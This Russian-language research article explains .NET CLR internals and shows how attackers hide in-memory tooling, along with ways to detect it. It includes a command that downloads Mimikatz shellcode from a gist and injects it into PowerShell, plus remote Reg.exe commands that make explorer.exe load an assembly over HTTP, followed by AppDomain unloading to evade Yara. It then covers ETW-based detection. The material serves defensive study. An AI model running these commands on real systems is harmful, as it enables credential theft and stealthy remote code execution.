Способы выявления аномальной активности в CLR и новые техники выполнения кода на удаленном хосте
В последнее время соотношение затрат на атаку и защиту от нее меняется не в пользу защитников. Большинство злоумышленников и пентестеров используют Mimikatz, SharpHound, SeatBelt, Rubeus, GhostPack и другие общедоступные инструменты. Эта так называемая «гитхабификация» процессов, которая происходит и в «красных командах», снижает стоимость атаки. Это позволяет различным командам злоумышленников переключить внимание с разработки вредоносного ПО со схожей функциональностью на, например, изобретение способов обхода обнаружения. Нет смысла писать с нуля код, который в итоге могут заблокировать защитные решения, если можно научиться использовать уже существующие инструменты — достаточно только «спрятать» их от детектирования. Это дешевле, особенно если использовать для «сокрытия» набор утилит с открытым кодом. При этом стоимость защиты от такой атаки только вырастет, ведь службе безопасности атакуемой организации придется бороться как с широким спектром свободно распространяемого инструментария атакующих, так и со средствами и способами обхода защитных решений.
Бесфайловые атаки, активное использование инструментов LOLBAS, шифрование во время выполнения, загрузчики и упаковщики — все это позволяет обходить защитные решения и средства контроля. Mimikatz внутри InstallUtil.exe ни для кого уже не новость. В этой статье мы рассмотрим одну из техник, которую злоумышленники могут использовать для сокрытия вредоносной активности в памяти, а именно — удаление индикаторов компрометации из памяти. Затем мы расскажем об инструментах и методах обнаружения применения этой техники. В качестве предметной области мы рассмотрим приложения, которые исполняются в среде CLR (Common Language Runtime, среда выполнения) или используют ее. Это и PowerShell, и многочисленные инструменты LOLBAS, и множество утилит, написанных на C#.
Если вы знакомы с CLR, пролистайте до раздела «Обход обнаружения в CLR».
Общие сведения о сборках и коде, который исполняется в CLR
Для начала давайте разберемся, каким образом в CLR появляется исполняемый код. При компиляции исходного кода, написанного, например, на C#, компилятор выдает не готовый для исполнения PE-файл, а сборку. Это прежде всего набор инструкций (CIL-код) для среды выполнения, чтобы она смогла в процессе исполнения этой сборки сгенерировать native code, то есть машинный код платформы, на которой выполняется программа. Этот код в свою очередь и будет исполнен. Процесс создания машинного кода из сборки в момент исполнения называется JIT-компиляцией.
Common Language Runtime. Источник: https://ru.wikipedia.org/wiki/Common_Language_Runtime
Сборка, полученная в результате компиляции приложения, будет содержать в себе следующую информацию:
- Метаданные о классах, интерфейсах, типах, методах и полях в сборке. Эта информация нужна для того, чтобы среда CLR могла оперировать написанным кодом: загружать, ссылаться на него, запускать один фрагмент кода из другого и передавать входные и выходные данные. Процесс чтения и применения этих данных называется отражением.
- Сам код, определенный в модулях. Он не запустится, если его не обработает CLR.
- Манифест — это данные о безопасности, версиях, зависимостях и составных частях сборки. Манифест определяет, что нужно, чтобы запустить код. Например, если для запуска кода необходимо наличие https://github.com/JamesNK/Newtonsoft.Json, то это будет определено в манифесте.
- Ресурсы. Файлы и данные любых типов, которые могут быть включены в саму сборку или храниться отдельно.
Загрузка и исполнение сборок — это сложный процесс. Давайте разберемся, как он происходит.
Что происходит при старте процесса
Хорошее представление о том, что и как загружается в управляемый процесс, дает ETW CLR Runtime Provider (GUID e13c0d23-ccbc-4e12-931b-d9cc2eee27e4).
Событие | № | Количество на процесс | Описание |
RuntimeInformationEvent | 187 | Одно | Запуск CLR |
AppDomainLoad_V1 | 156 | Много | Загрузка домена приложения |
AssemblyLoad_V1 | 154 | Много | Загрузка сборки |
ModuleLoad_V2 | 152 | Много | Загрузка модуля Код, который мы написали, тут |
ModuleUnload_V2 | 153 | Много | Выгрузка модуля |
AssemblyUnload_V1 | 155 | Много | Выгрузка сборки |
AppDomainUnLoad_V1 | 157 | Много | Выгрузка домена приложения. С точки зрения аналитика SOC может быть интересно, если это событие происходит многократно в случайные промежутки времени. |
Запуск CLR
При разработке CLR компания Microsoft реализовала его как COM-сервер, содержащийся внутри DLL. То есть определила для среды CLR стандартный COM-интерфейс и присвоила GUID этому интерфейсу и COM-серверу. Когда вы устанавливаете .NET Framework, COM-сервер, представляющий CLR, регистрируется в реестре Windows, как и любой другой COM-сервер. Любое приложение Windows может размещать среду CLR. Когда это происходит, генерируется событие 187. В этом событии отражено то, каким образом была активирована среда CLR. В случае COM-активации CLR поля StartupMode, ComObjectGUID будут содержать крайне полезную информацию.
Если вам нужна дополнительная информация по этой теме, обратитесь к заголовочному файлу MetaHost.h на C++, который поставляется с .NET Framework SDK. Этот файл задает идентификаторы GUID и определение неуправляемого интерфейса ICLRMetaHostinterface. Вы научитесь запускать CLR с помощью любого языка: С++, Python и т. д.
Загрузка домена приложения
После запуска CLR создается событие 156 — загрузка домена приложения в CLR. Когда COM-сервер CLR инициализируется, он создает домен приложения (AppDomain) — логический контейнер для набора сборок, которые, как правило, реализуют функциональное приложение. Также домен приложения — это механизм в CLR, который дает возможность запустить группу приложений в одном процессе, обеспечивая их относительную изоляцию друг от друга и в то же время позволяя им взаимодействовать друг с другом значительно быстрее. В одном процессе может работать много доменов приложений. Первый домен приложения, созданный при инициализации среды CLR, называется доменом приложения по умолчанию и уничтожается только после завершения процесса Windows.
К объектам, созданным в одном домене приложения, нельзя получить доступ напрямую с помощью кода в другом домене приложения. Когда код в домене приложения создает объект, данный объект «принадлежит» этому домену приложения. Также объекту (артефакту в том числе) не разрешается существовать дольше домена приложения, код которого его создал. Код внутри домена приложения может получить доступ к объекту других доменов приложений только с помощью маршалинга (передачи данных) по ссылке или по значению. Это обеспечивает четкие границы между приложениями, поскольку код в одном домене приложения не может иметь прямой ссылки на объект, созданный кодом в другом домене приложения. Эта изоляция позволяет легко выгружать домены приложений из процесса, не затрагивая код, выполняющийся в других доменах приложений.
Заметим, что CLR не поддерживает возможность выгрузки отдельной сборки из домена приложения. Однако вы можете дать CLR команду выгрузить весь домен, что приведет к выгрузке всех сборок, содержащихся в нем в данный момент. |
То, что каждое приложение запускается в собственном адресном пространстве процесса, — замечательное свойство Windows. Оно гарантирует, что код в одном приложении не сможет получить доступ к коду или данным, используемым другим приложением. Изоляция процессов предотвращает появление дыр в безопасности, повреждение данных и другие непредсказуемые события, и это делает операционную систему и приложения, работающие в ней, надежными. К сожалению, создание процессов в Windows очень «дорого». Функция Win32 CreateProcess работает очень медленно, а Windows требует много памяти для виртуализации адресного пространства процесса.
Однако если приложение полностью состоит из управляемого кода, который является достаточно безопасным и не вызывает неуправляемый код, можно без проблем запустить несколько управляемых приложений в одном процессе Windows. Домены приложений обеспечивают изоляцию, необходимую для защиты, настройки и завершения работы каждого из этих приложений. Единицей изоляции для кода в CLR является домен приложения, а не процесс. При этом мы можем сказать с рядом допущений, что старт процесса в семантике WinAPI аналогичен созданию домена приложения. Для SOC-аналитика будет лучше думать, что события загрузки домена приложения и старта процесса функционально одинаковы.
Жесткого ограничения на количество доменов приложений, которые могут выполняться в одном процессе Windows, не существует. Их можно сравнить с сайтами на одном сервере IIS. Каждый сайт — это отдельный домен приложения, который изолирован от других сайтов и который можно выгрузить из сервера, не затрагивая их.
Загрузка сборки
В домен приложения загружается сборка. Сборка определяет ряд правил для кода, который в ней содержится, предоставляет CLR (и другому коду) сведения о типах и классах, определенных в сборке. В некоторых случаях сборка может быть нейтральной к домену приложения, и ее код могут использовать все домены, однако в данной статье нас не интересуют такие сборки.
Загрузка модуля
В сборку загружаются модули, которые уже содержат непосредственно СIL-код. На этот CIL-код накладываются правила, описанные в сборке, и происходит процесс JIT-компиляции CIL в готовый для исполнения native code. Чтобы избавиться от артефакта, который определен в модуле или появляется в нем в ходе работы, нужно выгрузить весь домен приложения.
На рисунке показан отдельный процесс Windows, в котором работает один COM-сервер CLR. Эта среда CLR в данный момент управляет двумя доменами приложений. Каждый домен имеет свою собственную кучу загрузчика, а каждая куча имеет запись о том, какие типы были доступны с момента создания домена. Каждый объект типа в куче загрузчика имеет таблицу методов, и каждая запись в таблице методов указывает на JIT-скомпилированный собственный код, если метод был выполнен хотя бы один раз.
CLR via C#. Источник: J. Richter
Обход обнаружения в CLR
Для начала разберем, как атака может быть обнаружена. В качестве примера возьмем фреймворк для пентеста Covenant.
Запуск Covenant в одном домене приложения
Посмотрим, как работает Covenant. Запустим в системе Grunt (в терминологии данного фреймворка это программа, отвечающая за обмен данными с сервером и запускающая задания на исполнение). Затем мы запустим ряд типичных для злоумышленника действий, а именно: сбор информации о текущем пользователе, автозагрузке, просмотр сведений о билетах Kerberos, загруженных в сессию текущего пользователя, и об истории браузера. Итого — в один домен приложения загружаются несколько сборок: Seatbelt AutoRuns, Seatbelt ChromeHistory, Rubeus klist и другие.
Загруженные сборки Rubeus и Seatbelt
Как видите, в один домен приложения загружаются сборки с разной функциональностью. Более того, эти сборки могут быть замечены классическим средством мониторинга, поскольку могут содержать различные артефакты, которые появились в результате работы кода или были определены непосредственно в коде. А выгрузить их не выйдет, ведь они связаны одним доменом приложения с кодом, реализующим работу с CnC.
Запуск нового процесса и инъекция кода
Что может сделать атакующий, чтобы затруднить обнаружение? Он может использовать классические средства разделения кода: инъекции кода и/или старт нового процесса. Однако это не всегда возможно: существуют ситуации, когда как инъекции, так и старт нового процесса будут слишком заметны для средств мониторинга. Также не всегда является возможным закрытие какого-то процесса, который содержит артефакт, — например, в том случае, если для инъекции использовался системный процесс.
Чтобы продемонстрировать это, давайте создадим шеллкод из Mimikatz (с помощью Donut) и внедрим его в какой-либо процесс (я выбрал PowerShell), используя программу Process Injection, которую в свою очередь запустим из Grunt под управлением Covenant. Это тот же самый метод, который описан в обзоре тут. Мы сможем пронаблюдать обе техники: и старт нового процесса, и инъекцию кода. Для мониторинга воспользуемся утилитой Sysmon со ставшими практически «дефолтными» настройками от SwiftOnSecurity.
Загрузка инъектора на ПК жертвы
Старт инъектора и инъекция шеллкода
Grunt на ПК жертвы запускает ProcessInjection.exe c командной строкой, как указано ниже (закодированный по методу Base64 шеллкод будет скачан с glist):
1 2 3 |
ProcessInjection.exe /t:1 /f:base64 /pid:1604 / url:https://gist.githubusercontent.com/gam4er/07aae8b5284c9aa54ff976c3f4bc0cd9/raw/ec0de97792230bbb0526dd60 659c3e1c75c3a63b/Mimi |
И Sysmon покажет множество подозрительных действий.
Create executable file | Create process | Inject code from ProcessInjection.exe to powershell.exe |
Следует указать, что с установленными решениями AV/EPP/EDR описанная цепочка не сможет запуститься, поскольку являет собой пример хорошо известного паттерна поведения атакующего. Напрашивается вывод, что старые методы запуска/инъекции кода очень заметны.
Использование COM-сервера для удаленного выполнения кода
Теперь рассмотрим скачивание и запуск кода на удаленной машине через активацию COM-сервера в процессе Explorer.В качестве COM-сервера зарегистрируем библиотеку MSCOREE, реализующую функциональность CLR в Windows, которая в качестве аргументов примет имя сборки и класс, содержащий реализацию сервера. Зарегистрировав таким образом COM-сервер, мы дали CLR указание в случае активации загрузить реализующий сервер код из указанного класса.
Обратите внимание на ключ CodeBase. Он служит для того, чтобы можно было использовать COM-сервер без регистрации своей сборки в глобальном кэше сборок (GAC). Это позволяет определить COM-сервер от имени пользователя (поскольку регистрация в GAC требует высоких привилегий). Этот параметр принимает URI, что выглядит несколько странно. Хост-процесс загружает из сети и запускает сборку, содержащую COM-сервер. Заметим, что регистрация COM-сервера тоже возможна по сети: чтобы определить COM-сервер, нужно просто изменить реестр.
Существует множество способов настройки общеязыковой среды исполнения и множество параметров, доступных для конфигурации: конфигурационные файлы приложения и глобальные переменные окружения. Более того, есть специальный параметр, который разрешает или запрещает (по умолчанию запрещает) загрузку сборок из удаленных источников. Однако в случае COM-активации CLR в хост-процессе Explorer загрузка сборок из удаленных источников разрешена. Является ли это уязвимостью? Определенно нет. Можно ли это использовать для того, чтобы заставить удаленную машину запустить код, который не находится на ней? Определенно да.
Практический пример. Собираем знания воедино
Мы продемонстрировали, что запуск вредоносных компонентов в одном домене приложения (см. «Запуск Covenant в одном домене приложения»), равно как и создание отдельного процесса или инъекция кода (см. «Запуск нового процесса и инъекция кода») можно обнаружить. В зависимости от ситуации это легче или сложнее, но в целом подобные манипуляции довольно заметны. Мы также разобрали, как настроить удаленную загрузку кода в CLR. Теперь рассмотрим прием, способный затруднить обнаружение запуска кода при помощи COM-активированной среды CLR. Мы запустим обычный вариант Mimikatz на удаленном хосте в контексте процесса Explorer и удалим артефакты после его выполнения. Эта демонстрационная атака предполагает, что у нас уже есть доступ к хосту жертвы. Все шаги отражены на видео (на английском языке) и расписаны ниже. Для удобства мы также приводим в тексте временные метки отдельных шагов, чтобы вы могли посмотреть нужный фрагмент видео.
В качестве защитного решения на хосте жертвы мы используем Yara и правила из репозитория Mimikatz. Inveigh и Mimikatz уже установлены на устройстве. Для начала проверим, что Yara-правила работают.
Теперь взглянем на процесс explorer.exe (PID 3896) и убедимся, что в нем нет артефактов Mimikatz. После этого мы перезагрузим explorer.exe, чтобы еще раз показать, что он чист и что в нем нет сборок CLR.
Перемещаемся на хост атакующего (01:40). Добавляем обработчик Explorer в реестр на хосте жертвы. Когда жертва запустит Explorer, в него загрузится сборка с удаленного хоста атакующего.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}" /ve /t REG_SZ /d "ReadOnlyFileIconOverlayHandler" /f Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32" /ve /t REG_SZ /d "mscoree.dll" /f Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32" /v "Assembly" /t REG_SZ /d "ReadOnlyFileIconOverlayHandler, Version=1.0.0.0, Culture=neutral, PublicKeyToken=1aadad2b22ca8c0e" /f Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32" /v "Class" /t REG_SZ /d "ReadOnlyFileIconOverlayHandler.ReadOnlyFileIconOverlayHandler" /f Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32" /v "RuntimeVersion" /t REG_SZ /d "v4.0.30319" /f Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32" /v "ThreadingModel" /t REG_SZ /d "Both" /f Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32" /v "CodeBase" /t REG_SZ /d "http://ts-dc1.enterprise.lab/ReadOnlyFileIconOverlayHandler.dll" /f Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32\1.0.0.0" /v "Assembly" /t REG_SZ /d "ReadOnlyFileIconOverlayHandler, Version=1.0.0.0, Culture=neutral, PublicKeyToken=1aadad2b22ca8c0e" /f Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32\1.0.0.0" /v "Class" /t REG_SZ /d "ReadOnlyFileIconOverlayHandler.ReadOnlyFileIconOverlayHandler" /f Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32\1.0.0.0" /v "RuntimeVersion" /t REG_SZ /d "v4.0.30319" /f Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32\1.0.0.0" /v "CodeBase" /t REG_SZ /d "http://ts-dc1.enterprise.lab/ReadOnlyFileIconOverlayHandler.dll" /f Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\ReadOnlyFileIconOverlayHandler.ReadOnlyFileIconOverlayHandler" /ve /t REG_SZ /d "ReadOnlyFileIconOverlayHandler.ReadOnlyFileIconOverlayHandler" /f Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\ReadOnlyFileIconOverlayHandler.ReadOnlyFileIconOverlayHandler\CLSID" /ve /t REG_SZ /d "{A259C04F-FFA8-310B-864C-FE602840399E}" /f Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ ReadOnlyFileIconOverlayHandler" /ve /t REG_SZ /d "{a259c04f-ffa8-310b-864c-fe602840399e}" /f Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved" /v "{a259c04f-ffa8-310b-864c-fe602840399e}" /t REG_SZ /d "ReadOnlyFileIconOverlayHandler" /f |
Возвращаемся на хост жертвы (02:30). Эмулируем вход пользователя путем перезагрузки explorer.exe.
Теперь в explorer.exe загружены сборки .NET, но в процессе все еще нет подозрительных артефактов. Они не появятся, пока мы не загрузим и не запустим KatzAssembly. Обратите внимание на пустой (пока) домен приложения, появившийся в нашем целевом процессе.
На 3:50 мы выполняем Mimikatz, и в памяти появляются детектируемые сборки.
Сразу после того как Mimikatz выполнит свою работу, мы выгружаем домен приложения (04:18). Сканирование с помощью Yara показывает, что артефактов больше нет.
Этот практический пример мы отобразили на небольшой инфографике ниже. Подобные атаки, к сожалению, очень просты в исполнении и сложны в обнаружении, поскольку требуются мощности для сканирования памяти и выгружаемых приложений. Однако они довольно редко встречаются в дикой природе.
Обнаружение очистки памяти CLR
Как выявить поведение, которое могло бы указывать на попытки очистить память CLR? Следует смотреть за тем, как часто выгружаются домены приложений.
На рисунке изображена последовательность событий ETW: создание домена приложения, загрузка сборки и выгрузка сборки и домена приложения. Записать такой лог можно, например, с помощью SilkETW.
1 |
SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2008 -ot file -p Loader.json |
Затем можно агрегировать события загрузки и выгрузки доменов приложений и выявить процесс, который генерирует больше всего таких событий.
Хотелось бы, наверное, иметь возможность сканировать память сборки и ее ресурсы при выгрузке, а не только при загрузке, как это сейчас реализовано в интерфейсе AMSI. При этом стоит отметить, что сканирование памяти при завершении работы сборки или домена приложения не может предотвратить запуск нежелательного ПО. Оно лишь позволяет обнаружить сам факт того, что подобный запуск был. Также следует иметь в виду, что любое дополнительное сканирование памяти негативно скажется на производительности.
Обнаружение COM-активации среды CLR и загрузки удаленной сборки
Трюк с загрузкой удаленного кода через активацию COM-сервера в Explorer можно увидеть, если наблюдать за событием 187 и обращать внимание на параметры активации среды (startupMode и COMObjectGUID).
Также следует наблюдать за созданием в реестре новых COM-серверов, у которых значение [HKEY_CLASSES_ROOT\CLSID\{GUID}\InprocServer32\CodeBase] содержит URL, и загрузкой сборок процессом проводника из %AppData%\Local\assembly\dl3\([0-9A-Z]{8}.[0-9A-Z]{3}\\){2}.*\\Assemb.dll.
Полезные ссылки
- https://github.com/gam4er/SneakyRun — код, в том числе скрипты, для манипуляций с обработчиками Explorer.
- https://gist.github.com/gam4er/f9d0ed93697f08fc32ddb11fdcec6136 — список всех ресурсов, которые я использовал в этой публикации.
Обход обнаружения в CLR: пример атаки и способы ее выявления